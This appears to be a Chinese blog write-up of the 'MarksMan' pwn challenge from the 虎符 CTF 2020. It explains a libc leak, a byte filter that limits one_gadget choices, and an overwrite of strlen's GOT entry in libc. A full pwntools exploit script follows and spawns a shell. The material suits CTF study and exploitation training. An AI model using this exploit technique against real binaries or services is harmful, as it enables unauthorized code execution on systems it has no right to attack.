虎符CTF2020 部分题目复现(连续更新)

PWN

0x0 MarksMan

【保护】:
虎符CTF2020 部分题目复现(连续更新)_第1张图片
【代码】:
虎符CTF2020 部分题目复现(连续更新)_第2张图片

  • 很明显程序一开始就向我们泄露了libc的内存,如果通过检测,就可以任意地址写3个字节。如果能找到一处可控的调用,直接修改程one_gadget就可以了。
  • 看看这个check检查了什么
    在这里插入图片描述
  • 这是过滤了部分字节,默认的one_gadget只能查看很少的可用地址,需要加上 -l参数,并指定一个较小的数字,如2,这样就能够得到更多可用地址。
  • 现在来看看到底怎么找可控的调用。程序最后是会调用puts函数的,自己写一个demo做测试可以发现,puts函数内部会先调用strlen,而此函数正好可以在libcgot找到。所以思路就是修改strlenlibc中的got项。

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level=1
file='chall'
lib='./libc.so.6'
p=process('./'+file, env={'LD_PRELOAD':lib})#remote('39.97.210.182',10055)
PIE=p.libs()[p.cwd+'/'+file]
success('PIE:'+hex(PIE))
libc=ELF(lib,checksec=False)

p.recvuntil('near: ')
puts=int(p.recvuntil('\n'),16)
libc_base=puts-libc.sym['puts']
one=0xe585f
target=0x3eb0a8+libc_base
success('target:'+hex(target))
success('libc_base:'+hex(libc_base))
success('GOT:'+hex(0x01ead60+libc_base))
success('shoot:'+hex((one+libc_base)&0xffffff))

shoot=(one+libc_base)&0xffffff
p.sendlineafter('shoot!shoot!\n',str(target))
p.sendlineafter('biang!\n',p8(shoot&0xff))
p.sendlineafter('biang!\n',p8((shoot>>8)&0xff))
p.sendlineafter('biang!\n',p8((shoot>>16)&0xff))

p.interactive()

你可能感兴趣的:(漏洞挖掘与利用,总结)